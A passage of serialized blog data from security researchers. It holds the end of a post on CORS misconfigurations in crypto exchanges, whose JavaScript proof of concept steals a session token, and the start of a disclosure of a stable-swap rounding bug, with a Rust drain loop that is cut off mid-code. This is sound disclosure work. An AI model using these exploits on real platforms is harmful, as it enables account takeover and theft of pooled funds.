",{"type":26,"tag":53,"props":2324,"children":2326},{"className":2325},[],[2327],{"type":32,"value":2176},{"type":32,"value":2329}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":26,"tag":465,"props":2331,"children":2335},{"className":2332,"code":2333,"language":2334,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n","js",[2336],{"type":26,"tag":53,"props":2337,"children":2338},{"__ignoreMap":7},[2339,2365,2408,2426,2443,2451,2495],{"type":26,"tag":475,"props":2340,"children":2341},{"class":477,"line":478},[2342,2346,2351,2356,2361],{"type":26,"tag":475,"props":2343,"children":2344},{"style":499},[2345],{"type":32,"value":626},{"type":26,"tag":475,"props":2347,"children":2348},{"style":482},[2349],{"type":32,"value":2350},"async",{"type":26,"tag":475,"props":2352,"children":2353},{"style":499},[2354],{"type":32,"value":2355}," () ",{"type":26,"tag":475,"props":2357,"children":2358},{"style":482},[2359],{"type":32,"value":2360},"=>",{"type":26,"tag":475,"props":2362,"children":2363},{"style":499},[2364],{"type":32,"value":579},{"type":26,"tag":475,"props":2366,"children":2367},{"class":477,"line":516},[2368,2373,2379,2384,2389,2394,2398,2403],{"type":26,"tag":475,"props":2369,"children":2370},{"style":482},[2371],{"type":32,"value":2372}," let",{"type":26,"tag":475,"props":2374,"children":2376},{"style":2375},"--shiki-default:#9CDCFE",[2377],{"type":32,"value":2378}," res",{"type":26,"tag":475,"props":2380,"children":2381},{"style":714},[2382],{"type":32,"value":2383}," =",{"type":26,"tag":475,"props":2385,"children":2386},{"style":586},[2387],{"type":32,"value":2388}," await",{"type":26,"tag":475,"props":2390,"children":2391},{"style":493},[2392],{"type":32,"value":2393}," fetch",{"type":26,"tag":475,"props":2395,"children":2396},{"style":499},[2397],{"type":32,"value":626},{"type":26,"tag":475,"props":2399,"children":2400},{"style":629},[2401],{"type":32,"value":2402},"'https://www.exchange.com/api/session_token'",{"type":26,"tag":475,"props":2404,"children":2405},{"style":499},[2406],{"type":32,"value":2407},", {\n",{"type":26,"tag":475,"props":2409,"children":2410},{"class":477,"line":539},[2411,2416,2421],{"type":26,"tag":475,"props":2412,"children":2413},{"style":2375},[2414],{"type":32,"value":2415}," credentials:",{"type":26,"tag":475,"props":2417,"children":2418},{"style":629},[2419],{"type":32,"value":2420}," 'include'",{"type":26,"tag":475,"props":2422,"children":2423},{"style":499},[2424],{"type":32,"value":2425},",\n",{"type":26,"tag":475,"props":2427,"children":2428},{"class":477,"line":548},[2429,2434,2439],{"type":26,"tag":475,"props":2430,"children":2431},{"style":2375},[2432],{"type":32,"value":2433}," method:",{"type":26,"tag":475,"props":2435,"children":2436},{"style":629},[2437],{"type":32,"value":2438}," 'POST'",{"type":26,"tag":475,"props":2440,"children":2441},{"style":499},[2442],{"type":32,"value":2425},{"type":26,"tag":475,"props":2444,"children":2445},{"class":477,"line":558},[2446],{"type":26,"tag":475,"props":2447,"children":2448},{"style":499},[2449],{"type":32,"value":2450}," });\n",{"type":26,"tag":475,"props":2452,"children":2453},{"class":477,"line":582},[2454,2459,2463,2468,2472,2477,2481,2485,2490],{"type":26,"tag":475,"props":2455,"children":2456},{"style":2375},[2457],{"type":32,"value":2458}," console",{"type":26,"tag":475,"props":2460,"children":2461},{"style":499},[2462],{"type":32,"value":353},{"type":26,"tag":475,"props":2464,"children":2465},{"style":493},[2466],{"type":32,"value":2467},"log",{"type":26,"tag":475,"props":2469,"children":2470},{"style":499},[2471],{"type":32,"value":626},{"type":26,"tag":475,"props":2473,"children":2474},{"style":586},[2475],{"type":32,"value":2476},"await",{"type":26,"tag":475,"props":2478,"children":2479},{"style":2375},[2480],{"type":32,"value":2378},{"type":26,"tag":475,"props":2482,"children":2483},{"style":499},[2484],{"type":32,"value":353},{"type":26,"tag":475,"props":2486,"children":2487},{"style":493},[2488],{"type":32,"value":2489},"json",{"type":26,"tag":475,"props":2491,"children":2492},{"style":499},[2493],{"type":32,"value":2494},"());\n",{"type":26,"tag":475,"props":2496,"children":2497},{"class":477,"line":596},[2498],{"type":26,"tag":475,"props":2499,"children":2500},{"style":499},[2501],{"type":32,"value":2502},"})();\n",{"type":26,"tag":35,"props":2504,"children":2505},{},[2506],{"type":32,"value":2507},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":26,"tag":41,"props":2509,"children":2511},{"id":2510},"mitigation",[2512],{"type":32,"value":2513},"Mitigation",{"type":26,"tag":35,"props":2515,"children":2516},{},[2517,2519,2524],{"type":32,"value":2518},"As mitigation, it is recommended to remove all ",{"type":26,"tag":53,"props":2520,"children":2522},{"className":2521},[],[2523],{"type":32,"value":2176},{"type":32,"value":2525}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":26,"tag":35,"props":2527,"children":2528},{},[2529],{"type":32,"value":2530},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":26,"tag":27,"props":2532,"children":2534},{"id":2533},"conclusion",[2535],{"type":32,"value":2536},"Conclusion",{"type":26,"tag":35,"props":2538,"children":2539},{},[2540],{"type":32,"value":2541},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":26,"tag":35,"props":2543,"children":2544},{},[2545],{"type":32,"value":2546},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":26,"tag":2548,"props":2549,"children":2550},"style",{},[2551],{"type":32,"value":2552},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":516,"depth":516,"links":2554},[2555,2560,2565],{"id":29,"depth":516,"text":33,"children":2556},[2557,2558,2559],{"id":43,"depth":539,"text":46},{"id":416,"depth":539,"text":419},{"id":2146,"depth":539,"text":2149},{"id":2157,"depth":516,"text":2160,"children":2561},[2562,2563,2564],{"id":2222,"depth":539,"text":2225},{"id":2280,"depth":539,"text":443},{"id":2510,"depth":539,"text":2513},{"id":2533,"depth":516,"text":2536},"markdown","content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","content","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","md",[2573,5091,5428,8969,13323,18454,28704,30136,30899,35117,40135,45567,46724,50213,60605,67334,69173,70816,75481,89371,92092,96881,99319,101478,107264,123084,131384,141308,146586,155979,158316],{"_path":2574,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":2575,"description":2576,"image":2577,"date":2581,"isFeatured":18,"tags":2582,"onBlogPage":18,"body":2585,"_type":2566,"_id":5088,"_source":2568,"_file":5089,"_stem":5090,"_extension":2571},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":2578,"width":2579,"height":2580},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[2583,2584],"solana","report",{"type":23,"children":2586,"toc":5082},[2587,2601,2606,2611,2620,2626,2631,2636,2645,2653,2658,2663,2671,2676,2681,3062,3072,3077,3608,3613,3621,3628,3634,3639,3644,3649,3656,3668,3673,3685,3925,3930,3935,3941,3946,3951,3997,4002,4010,4015,4020,4025,4169,4182,4298,4312,4320,4334,4342,4355,4360,4372,4380,4402,5020,5026,5031,5043,5056,5063,5068,5073,5078],{"type":26,"tag":35,"props":2588,"children":2589},{},[2590,2592,2599],{"type":32,"value":2591},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":26,"tag":116,"props":2593,"children":2596},{"href":2594,"rel":2595},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[120],[2597],{"type":32,"value":2598},"spl-token-swap",{"type":32,"value":2600},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":26,"tag":35,"props":2602,"children":2603},{},[2604],{"type":32,"value":2605},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":26,"tag":35,"props":2607,"children":2608},{},[2609],{"type":32,"value":2610},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":26,"tag":35,"props":2612,"children":2613},{},[2614],{"type":26,"tag":2615,"props":2616,"children":2617},"em",{},[2618],{"type":32,"value":2619},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":26,"tag":27,"props":2621,"children":2623},{"id":2622},"discovery",[2624],{"type":32,"value":2625},"Discovery",{"type":26,"tag":35,"props":2627,"children":2628},{},[2629],{"type":32,"value":2630},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":26,"tag":35,"props":2632,"children":2633},{},[2634],{"type":32,"value":2635},"After a while, he noticed something weird..",{"type":26,"tag":2637,"props":2638,"children":2639},"blockquote",{},[2640],{"type":26,"tag":35,"props":2641,"children":2642},{},[2643],{"type":32,"value":2644},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":26,"tag":465,"props":2646,"children":2648},{"code":2647},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[2649],{"type":26,"tag":53,"props":2650,"children":2651},{"__ignoreMap":7},[2652],{"type":32,"value":2647},{"type":26,"tag":35,"props":2654,"children":2655},{},[2656],{"type":32,"value":2657},"Somehow, we were getting tokens from nothing?",{"type":26,"tag":35,"props":2659,"children":2660},{},[2661],{"type":32,"value":2662},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":26,"tag":465,"props":2664,"children":2666},{"code":2665},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[2667],{"type":26,"tag":53,"props":2668,"children":2669},{"__ignoreMap":7},[2670],{"type":32,"value":2665},{"type":26,"tag":35,"props":2672,"children":2673},{},[2674],{"type":32,"value":2675},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":26,"tag":35,"props":2677,"children":2678},{},[2679],{"type":32,"value":2680},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":26,"tag":465,"props":2682,"children":2686},{"code":2683,"language":2684,"meta":7,"className":2685,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[2687],{"type":26,"tag":53,"props":2688,"children":2689},{"__ignoreMap":7},[2690,2698,2730,2763,2868,2973,2999,3011,3028,3048,3055],{"type":26,"tag":475,"props":2691,"children":2692},{"class":477,"line":478},[2693],{"type":26,"tag":475,"props":2694,"children":2695},{"style":552},[2696],{"type":32,"value":2697}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":26,"tag":475,"props":2699,"children":2700},{"class":477,"line":516},[2701,2706,2711,2716,2720,2725],{"type":26,"tag":475,"props":2702,"children":2703},{"style":482},[2704],{"type":32,"value":2705}," let",{"type":26,"tag":475,"props":2707,"children":2708},{"style":482},[2709],{"type":32,"value":2710}," mut",{"type":26,"tag":475,"props":2712,"children":2713},{"style":2375},[2714],{"type":32,"value":2715}," y",{"type":26,"tag":475,"props":2717,"children":2718},{"style":714},[2719],{"type":32,"value":2383},{"type":26,"tag":475,"props":2721,"children":2722},{"style":2375},[2723],{"type":32,"value":2724}," d_val",{"type":26,"tag":475,"props":2726,"children":2727},{"style":499},[2728],{"type":32,"value":2729},";\n",{"type":26,"tag":475,"props":2731,"children":2732},{"class":477,"line":539},[2733,2738,2743,2748,2753,2758],{"type":26,"tag":475,"props":2734,"children":2735},{"style":586},[2736],{"type":32,"value":2737}," for",{"type":26,"tag":475,"props":2739,"children":2740},{"style":2375},[2741],{"type":32,"value":2742}," _",{"type":26,"tag":475,"props":2744,"children":2745},{"style":482},[2746],{"type":32,"value":2747}," in",{"type":26,"tag":475,"props":2749,"children":2750},{"style":903},[2751],{"type":32,"value":2752}," 0",{"type":26,"tag":475,"props":2754,"children":2755},{"style":714},[2756],{"type":32,"value":2757},"..",{"type":26,"tag":475,"props":2759,"children":2760},{"style":499},[2761],{"type":32,"value":2762},"ITERATIONS {\n",{"type":26,"tag":475,"props":2764,"children":2765},{"class":477,"line":548},[2766,2771,2776,2781,2785,2790,2795,2799,2803,2808,2812,2817,2822,2826,2831,2836,2841,2846,2850,2855,2859,2864],{"type":26,"tag":475,"props":2767,"children":2768},{"style":482},[2769],{"type":32,"value":2770}," let",{"type":26,"tag":475,"props":2772,"children":2773},{"style":499},[2774],{"type":32,"value":2775}," (",{"type":26,"tag":475,"props":2777,"children":2778},{"style":2375},[2779],{"type":32,"value":2780},"y_new",{"type":26,"tag":475,"props":2782,"children":2783},{"style":499},[2784],{"type":32,"value":637},{"type":26,"tag":475,"props":2786,"children":2787},{"style":2375},[2788],{"type":32,"value":2789},"_",{"type":26,"tag":475,"props":2791,"children":2792},{"style":499},[2793],{"type":32,"value":2794},") ",{"type":26,"tag":475,"props":2796,"children":2797},{"style":714},[2798],{"type":32,"value":786},{"type":26,"tag":475,"props":2800,"children":2801},{"style":499},[2802],{"type":32,"value":2775},{"type":26,"tag":475,"props":2804,"children":2805},{"style":493},[2806],{"type":32,"value":2807},"checked_u8_power",{"type":26,"tag":475,"props":2809,"children":2810},{"style":499},[2811],{"type":32,"value":626},{"type":26,"tag":475,"props":2813,"children":2814},{"style":714},[2815],{"type":32,"value":2816},"&",{"type":26,"tag":475,"props":2818,"children":2819},{"style":2375},[2820],{"type":32,"value":2821},"y",{"type":26,"tag":475,"props":2823,"children":2824},{"style":499},[2825],{"type":32,"value":637},{"type":26,"tag":475,"props":2827,"children":2828},{"style":903},[2829],{"type":32,"value":2830},"2",{"type":26,"tag":475,"props":2832,"children":2833},{"style":499},[2834],{"type":32,"value":2835},")",{"type":26,"tag":475,"props":2837,"children":2838},{"style":714},[2839],{"type":32,"value":2840},"?.",{"type":26,"tag":475,"props":2842,"children":2843},{"style":493},[2844],{"type":32,"value":2845},"checked_add",{"type":26,"tag":475,"props":2847,"children":2848},{"style":499},[2849],{"type":32,"value":626},{"type":26,"tag":475,"props":2851,"children":2852},{"style":2375},[2853],{"type":32,"value":2854},"c",{"type":26,"tag":475,"props":2856,"children":2857},{"style":499},[2858],{"type":32,"value":2835},{"type":26,"tag":475,"props":2860,"children":2861},{"style":714},[2862],{"type":32,"value":2863},"?",{"type":26,"tag":475,"props":2865,"children":2866},{"style":499},[2867],{"type":32,"value":647},{"type":26,"tag":475,"props":2869,"children":2870},{"class":477,"line":558},[2871,2876,2881,2885,2890,2894,2898,2902,2906,2910,2914,2918,2922,2926,2931,2935,2939,2944,2948,2953,2957,2961,2965,2969],{"type":26,"tag":475,"props":2872,"children":2873},{"style":714},[2874],{"type":32,"value":2875}," .",{"type":26,"tag":475,"props":2877,"children":2878},{"style":493},[2879],{"type":32,"value":2880},"checked_ceil_div",{"type":26,"tag":475,"props":2882,"children":2883},{"style":499},[2884],{"type":32,"value":626},{"type":26,"tag":475,"props":2886,"children":2887},{"style":493},[2888],{"type":32,"value":2889},"checked_u8_mul",{"type":26,"tag":475,"props":2891,"children":2892},{"style":499},[2893],{"type":32,"value":626},{"type":26,"tag":475,"props":2895,"children":2896},{"style":714},[2897],{"type":32,"value":2816},{"type":26,"tag":475,"props":2899,"children":2900},{"style":2375},[2901],{"type":32,"value":2821},{"type":26,"tag":475,"props":2903,"children":2904},{"style":499},[2905],{"type":32,"value":637},{"type":26,"tag":475,"props":2907,"children":2908},{"style":903},[2909],{"type":32,"value":2830},{"type":26,"tag":475,"props":2911,"children":2912},{"style":499},[2913],{"type":32,"value":2835},{"type":26,"tag":475,"props":2915,"children":2916},{"style":714},[2917],{"type":32,"value":2840},{"type":26,"tag":475,"props":2919,"children":2920},{"style":493},[2921],{"type":32,"value":2845},{"type":26,"tag":475,"props":2923,"children":2924},{"style":499},[2925],{"type":32,"value":626},{"type":26,"tag":475,"props":2927,"children":2928},{"style":2375},[2929],{"type":32,"value":2930},"b",{"type":26,"tag":475,"props":2932,"children":2933},{"style":499},[2934],{"type":32,"value":2835},{"type":26,"tag":475,"props":2936,"children":2937},{"style":714},[2938],{"type":32,"value":2840},{"type":26,"tag":475,"props":2940,"children":2941},{"style":493},[2942],{"type":32,"value":2943},"checked_sub",{"type":26,"tag":475,"props":2945,"children":2946},{"style":499},[2947],{"type":32,"value":626},{"type":26,"tag":475,"props":2949,"children":2950},{"style":2375},[2951],{"type":32,"value":2952},"d_val",{"type":26,"tag":475,"props":2954,"children":2955},{"style":499},[2956],{"type":32,"value":2835},{"type":26,"tag":475,"props":2958,"children":2959},{"style":714},[2960],{"type":32,"value":2863},{"type":26,"tag":475,"props":2962,"children":2963},{"style":499},[2964],{"type":32,"value":2835},{"type":26,"tag":475,"props":2966,"children":2967},{"style":714},[2968],{"type":32,"value":2863},{"type":26,"tag":475,"props":2970,"children":2971},{"style":499},[2972],{"type":32,"value":2729},{"type":26,"tag":475,"props":2974,"children":2975},{"class":477,"line":582},[2976,2981,2986,2991,2995],{"type":26,"tag":475,"props":2977,"children":2978},{"style":586},[2979],{"type":32,"value":2980}," if",{"type":26,"tag":475,"props":2982,"children":2983},{"style":2375},[2984],{"type":32,"value":2985}," y_new",{"type":26,"tag":475,"props":2987,"children":2988},{"style":714},[2989],{"type":32,"value":2990}," ==",{"type":26,"tag":475,"props":2992,"children":2993},{"style":2375},[2994],{"type":32,"value":2715},{"type":26,"tag":475,"props":2996,"children":2997},{"style":499},[2998],{"type":32,"value":579},{"type":26,"tag":475,"props":3000,"children":3001},{"class":477,"line":596},[3002,3007],{"type":26,"tag":475,"props":3003,"children":3004},{"style":586},[3005],{"type":32,"value":3006}," break",{"type":26,"tag":475,"props":3008,"children":3009},{"style":499},[3010],{"type":32,"value":2729},{"type":26,"tag":475,"props":3012,"children":3013},{"class":477,"line":610},[3014,3019,3024],{"type":26,"tag":475,"props":3015,"children":3016},{"style":499},[3017],{"type":32,"value":3018}," } ",{"type":26,"tag":475,"props":3020,"children":3021},{"style":586},[3022],{"type":32,"value":3023},"else",{"type":26,"tag":475,"props":3025,"children":3026},{"style":499},[3027],{"type":32,"value":579},{"type":26,"tag":475,"props":3029,"children":3030},{"class":477,"line":650},[3031,3036,3040,3044],{"type":26,"tag":475,"props":3032,"children":3033},{"style":2375},[3034],{"type":32,"value":3035}," y",{"type":26,"tag":475,"props":3037,"children":3038},{"style":714},[3039],{"type":32,"value":2383},{"type":26,"tag":475,"props":3041,"children":3042},{"style":2375},[3043],{"type":32,"value":2985},{"type":26,"tag":475,"props":3045,"children":3046},{"style":499},[3047],{"type":32,"value":2729},{"type":26,"tag":475,"props":3049,"children":3050},{"class":477,"line":679},[3051],{"type":26,"tag":475,"props":3052,"children":3053},{"style":499},[3054],{"type":32,"value":750},{"type":26,"tag":475,"props":3056,"children":3057},{"class":477,"line":735},[3058],{"type":26,"tag":475,"props":3059,"children":3060},{"style":499},[3061],{"type":32,"value":851},{"type":26,"tag":35,"props":3063,"children":3064},{},[3065,3070],{"type":26,"tag":2615,"props":3066,"children":3067},{},[3068],{"type":32,"value":3069},"approximate",{"type":32,"value":3071},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":26,"tag":35,"props":3073,"children":3074},{},[3075],{"type":32,"value":3076},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":26,"tag":465,"props":3078,"children":3080},{"code":3079,"language":2684,"meta":7,"className":2685,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[3081],{"type":26,"tag":53,"props":3082,"children":3083},{"__ignoreMap":7},[3084,3092,3132,3140,3170,3198,3214,3230,3255,3271,3287,3303,3319,3335,3347,3355,3377,3384,3392,3460,3467,3496,3503,3534,3541,3600],{"type":26,"tag":475,"props":3085,"children":3086},{"class":477,"line":478},[3087],{"type":26,"tag":475,"props":3088,"children":3089},{"style":552},[3090],{"type":32,"value":3091},"// from sbtc to renbtc\n",{"type":26,"tag":475,"props":3093,"children":3094},{"class":477,"line":516},[3095,3100,3105,3109,3113,3118,3123,3128],{"type":26,"tag":475,"props":3096,"children":3097},{"style":586},[3098],{"type":32,"value":3099},"for",{"type":26,"tag":475,"props":3101,"children":3102},{"style":2375},[3103],{"type":32,"value":3104}," i",{"type":26,"tag":475,"props":3106,"children":3107},{"style":482},[3108],{"type":32,"value":2747},{"type":26,"tag":475,"props":3110,"children":3111},{"style":903},[3112],{"type":32,"value":2752},{"type":26,"tag":475,"props":3114,"children":3115},{"style":714},[3116],{"type":32,"value":3117}," ..",{"type":26,"tag":475,"props":3119,"children":3120},{"style":903},[3121],{"type":32,"value":3122}," 50",{"type":26,"tag":475,"props":3124,"children":3125},{"style":505},[3126],{"type":32,"value":3127},"u8",{"type":26,"tag":475,"props":3129,"children":3130},{"style":499},[3131],{"type":32,"value":579},{"type":26,"tag":475,"props":3133,"children":3134},{"class":477,"line":539},[3135],{"type":26,"tag":475,"props":3136,"children":3137},{"style":552},[3138],{"type":32,"value":3139}," // create swap transaction\n",{"type":26,"tag":475,"props":3141,"children":3142},{"class":477,"line":548},[3143,3147,3151,3156,3160,3165],{"type":26,"tag":475,"props":3144,"children":3145},{"style":482},[3146],{"type":32,"value":2705},{"type":26,"tag":475,"props":3148,"children":3149},{"style":482},[3150],{"type":32,"value":2710},{"type":26,"tag":475,"props":3152,"children":3153},{"style":2375},[3154],{"type":32,"value":3155}," swap_instruction",{"type":26,"tag":475,"props":3157,"children":3158},{"style":714},[3159],{"type":32,"value":2383},{"type":26,"tag":475,"props":3161,"children":3162},{"style":493},[3163],{"type":32,"value":3164}," swap",{"type":26,"tag":475,"props":3166,"children":3167},{"style":499},[3168],{"type":32,"value":3169},"(\n",{"type":26,"tag":475,"props":3171,"children":3172},{"class":477,"line":558},[3173,3178,3183,3188,3193],{"type":26,"tag":475,"props":3174,"children":3175},{"style":714},[3176],{"type":32,"value":3177}," &",{"type":26,"tag":475,"props":3179,"children":3180},{"style":499},[3181],{"type":32,"value":3182},"spl_token",{"type":26,"tag":475,"props":3184,"children":3185},{"style":714},[3186],{"type":32,"value":3187},"::",{"type":26,"tag":475,"props":3189,"children":3190},{"style":493},[3191],{"type":32,"value":3192},"id",{"type":26,"tag":475,"props":3194,"children":3195},{"style":499},[3196],{"type":32,"value":3197},"(),\n",{"type":26,"tag":475,"props":3199,"children":3200},{"class":477,"line":582},[3201,3205,3210],{"type":26,"tag":475,"props":3202,"children":3203},{"style":714},[3204],{"type":32,"value":3177},{"type":26,"tag":475,"props":3206,"children":3207},{"style":2375},[3208],{"type":32,"value":3209},"swap_pubkey",{"type":26,"tag":475,"props":3211,"children":3212},{"style":499},[3213],{"type":32,"value":2425},{"type":26,"tag":475,"props":3215,"children":3216},{"class":477,"line":596},[3217,3221,3226],{"type":26,"tag":475,"props":3218,"children":3219},{"style":714},[3220],{"type":32,"value":3177},{"type":26,"tag":475,"props":3222,"children":3223},{"style":2375},[3224],{"type":32,"value":3225},"swap_authority_pubkey",{"type":26,"tag":475,"props":3227,"children":3228},{"style":499},[3229],{"type":32,"value":2425},{"type":26,"tag":475,"props":3231,"children":3232},{"class":477,"line":610},[3233,3237,3242,3246,3251],{"type":26,"tag":475,"props":3234,"children":3235},{"style":714},[3236],{"type":32,"value":3177},{"type":26,"tag":475,"props":3238,"children":3239},{"style":2375},[3240],{"type":32,"value":3241},"test_account_signer",{"type":26,"tag":475,"props":3243,"children":3244},{"style":714},[3245],{"type":32,"value":353},{"type":26,"tag":475,"props":3247,"children":3248},{"style":493},[3249],{"type":32,"value":3250},"pubkey",{"type":26,"tag":475,"props":3252,"children":3253},{"style":499},[3254],{"type":32,"value":3197},{"type":26,"tag":475,"props":3256,"children":3257},{"class":477,"line":650},[3258,3262,3267],{"type":26,"tag":475,"props":3259,"children":3260},{"style":714},[3261],{"type":32,"value":3177},{"type":26,"tag":475,"props":3263,"children":3264},{"style":2375},[3265],{"type":32,"value":3266},"sbtc_user_account",{"type":26,"tag":475,"props":3268,"children":3269},{"style":499},[3270],{"type":32,"value":2425},{"type":26,"tag":475,"props":3272,"children":3273},{"class":477,"line":679},[3274,3278,3283],{"type":26,"tag":475,"props":3275,"children":3276},{"style":714},[3277],{"type":32,"value":3177},{"type":26,"tag":475,"props":3279,"children":3280},{"style":2375},[3281],{"type":32,"value":3282},"sbtc_reserve",{"type":26,"tag":475,"props":3284,"children":3285},{"style":499},[3286],{"type":32,"value":2425},{"type":26,"tag":475,"props":3288,"children":3289},{"class":477,"line":735},[3290,3294,3299],{"type":26,"tag":475,"props":3291,"children":3292},{"style":714},[3293],{"type":32,"value":3177},{"type":26,"tag":475,"props":3295,"children":3296},{"style":2375},[3297],{"type":32,"value":3298},"renbtc_reserve",{"type":26,"tag":475,"props":3300,"children":3301},{"style":499},[3302],{"type":32,"value":2425},{"type":26,"tag":475,"props":3304,"children":3305},{"class":477,"line":744},[3306,3310,3315],{"type":26,"tag":475,"props":3307,"children":3308},{"style":714},[3309],{"type":32,"value":3177},{"type":26,"tag":475,"props":3311,"children":3312},{"style":2375},[3313],{"type":32,"value":3314},"renbtc_user_account",{"type":26,"tag":475,"props":3316,"children":3317},{"style":499},[3318],{"type":32,"value":2425},{"type":26,"tag":475,"props":3320,"children":3321},{"class":477,"line":753},[3322,3326,3331],{"type":26,"tag":475,"props":3323,"children":3324},{"style":714},[3325],{"type":32,"value":3177},{"type":26,"tag":475,"props":3327,"children":3328},{"style":2375},[3329],{"type":32,"value":3330},"admin_fee_account_sbtc_to_ren",{"type":26,"tag":475,"props":3332,"children":3333},{"style":499},[3334],{"type":32,"value":2425},{"type":26,"tag":475,"props":3336,"children":3337},{"class":477,"line":761},[3338,3343],{"type":26,"tag":475,"props":3339,"children":3340},{"style":903},[3341],{"type":32,"value":3342}," 1",{"type":26,"tag":475,"props":3344,"children":3345},{"style":499},[3346],{"type":32,"value":2425},{"type":26,"tag":475,"props":3348,"children":3349},{"class":477,"line":770},[3350],{"type":26,"tag":475,"props":3351,"children":3352},{"style":903},[3353],{"type":32,"value":3354}," 2\n",{"type":26,"tag":475,"props":3356,"children":3357},{"class":477,"line":794},[3358,3363,3367,3372],{"type":26,"tag":475,"props":3359,"children":3360},{"style":499},[3361],{"type":32,"value":3362}," )",{"type":26,"tag":475,"props":3364,"children":3365},{"style":714},[3366],{"type":32,"value":353},{"type":26,"tag":475,"props":3368,"children":3369},{"style":493},[3370],{"type":32,"value":3371},"unwrap",{"type":26,"tag":475,"props":3373,"children":3374},{"style":499},[3375],{"type":32,"value":3376},"();\n",{"type":26,"tag":475,"props":3378,"children":3379},{"class":477,"line":831},[3380],{"type":26,"tag":475,"props":3381,"children":3382},{"emptyLinePlaceholder":18},[3383],{"type":32,"value":545},{"type":26,"tag":475,"props":3385,"children":3386},{"class":477,"line":845},[3387],{"type":26,"tag":475,"props":3388,"children":3389},{"style":552},[3390],{"type":32,"value":3391}," // nonce\n",{"type":26,"tag":475,"props":3393,"children":3394},{"class":477,"line":854},[3395,3400,3404,3409,3413,3418,3422,3426,3431,3436,3441,3446,3450,3455],{"type":26,"tag":475,"props":3396,"children":3397},{"style":2375},[3398],{"type":32,"value":3399}," 